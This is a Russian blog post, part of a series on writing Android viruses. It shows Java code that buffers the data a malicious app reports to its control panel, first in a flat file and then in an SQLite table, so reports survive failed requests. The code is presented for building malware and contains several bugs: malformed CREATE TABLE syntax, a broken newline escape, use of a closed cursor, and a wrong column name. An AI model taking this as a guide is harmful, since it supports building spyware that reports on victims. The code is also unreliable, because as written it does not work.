Как написать вирус для Андроид. Часть 4

Привет дорогой друг, что-то я запозднился с очередным материалом. Ну, не будем о печальном. Рано или поздно у тебя встанет вопрос: а как же правильно стучать? Да, да, именно стучать. Мы сделали запрос-ответ в админку (данные в памяти), а там случилось 404 или еще какая ни будь страшная беда. Данные канули в лету, так как сервис завершился.

Что же делать? Я опишу два способа, но первый будет в качестве примера, а второй покажет Вам, как делать правильно.

Метод плоских файлов

Дописывать в конец файла, а при отправке очищать файл. Структура файла:

{json}n
{json}n
.........
{json}n

Код чтения всего файла:

File fl = new File(filePath);
FileInputStream fin = new FileInputStream(fl);
String ret = convertStreamToString(fin);
fin.close();
try {
   FileWriter fw = new FileWriter(filePath, true);
   fw.write(Value + "n");
   fw.close();
} catch (IOException ioe) {

}

Тут ничего сложного: читай, пиши. Есть одно “Но”. Мы работаем в потоках, и может случиться одновременная запись и удаление, а это надо контролировать. Но мы же спецы, нам надо сделать чтобы было круто. И мы переходим к базам данных.

Mysqli или как хранить данные по ФенШую

Мы рассмотрим работу с базой данных на примере чтения и записи. У нас простая табличка, где будут ID и StringJSON, которую после отправки мы будем очищать.

public class KNOCKERDatabase extends SQLiteOpenHelper {
   private static final int DATABASE_VERSION = 1;
   private static final String DATABASE_NAME = "knocker";
   private static final String TABLE_KNOCKER = "knocker";
   private static final String KEY_ID = "id";
   private static final String KEY_JSON = "stringjson";

   public KNOCKERDatabase(Context context) {
       super(context, DATABASE_NAME, null, DATABASE_VERSION);
   }

   @Override
   public void onCreate(SQLiteDatabase db) {
       String CREATE_TABLE = "CREATE TABLE " + TABLE_KNOCKER + "("
               + KEY_ID + " INTEGER PRIMARY KEY,"
               + KEY_JSON + " TEXT,"

               + ")";
       db.execSQL(CREATE_TABLE);
   }

   void addJson(String json) {
       SQLiteDatabase db = this.getWritableDatabase();

       ContentValues values = new ContentValues();
       values.put(KEY_JSON, json);

       db.insert(TABLE_KNOCKER, null, values);
       db.close();
   }

   public List<String> getAllJson() {
       List<String> jsons = new ArrayList<String>();
       String selectQuery = "SELECT  * FROM " + TABLE_KNOCKER;

       SQLiteDatabase db = this.getWritableDatabase();
       Cursor cursor = db.rawQuery(selectQuery, null);
       if (cursor.moveToFirst()) {
           do {
               jsons.add(cursor.getString(1));
           } while (cursor.moveToNext());
       }
       return jsons;
   }

   public void deleteRows(String num) {
       SQLiteDatabase db = this.getWritableDatabase();
 String del ="delete from " + TABLE_KNOCKER + " where " + KEY_ID + " in (select " + KEY_ID + " from " + TABLE_KNOCKER + " order by _id LIMIT " + num + ");";
       db.execSQL(del);
       db.close();
   }


   public int getCount() {
       String countQuery = "SELECT  * FROM " + TABLE_KNOCKER;
       SQLiteDatabase db = this.getReadableDatabase();
       Cursor cursor = db.rawQuery(countQuery, null);
       cursor.close();
       return cursor.getCount();
   }
}

Теперь можно перейти к практике, как это использовать.

Шаг первый. Запись.

KNOCKERDatabase db = new KNOCKERDatabase(context);
db.addJson(DATA);

Где DATA – это запрос для отправки на сервер.

Шаг второй. Чтение.

KNOCKERDatabase db = new KNOCKERDatabase(this);
List<String> jsons = db.getAllJson();

После прочтения записей, считаем их количество (через getCount), чтобы не удалить лишнее и избавляемся от них через deleteRows.

Всем хороших отстуков. smile.gif

Предыдущие части материала:

Как написать вирус для Андроид. Часть 3

Как написать вирус для андроид. Часть 2

Как написать вирус для андроид.

Вирусы для андроид — Taidoor, IXESHE и СozyDuke

 

Click to rate this post!
[Total: 10 Average: 3.4]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

2 comments On Как написать вирус для Андроид. Часть 4

Leave a reply:

Your email address will not be published.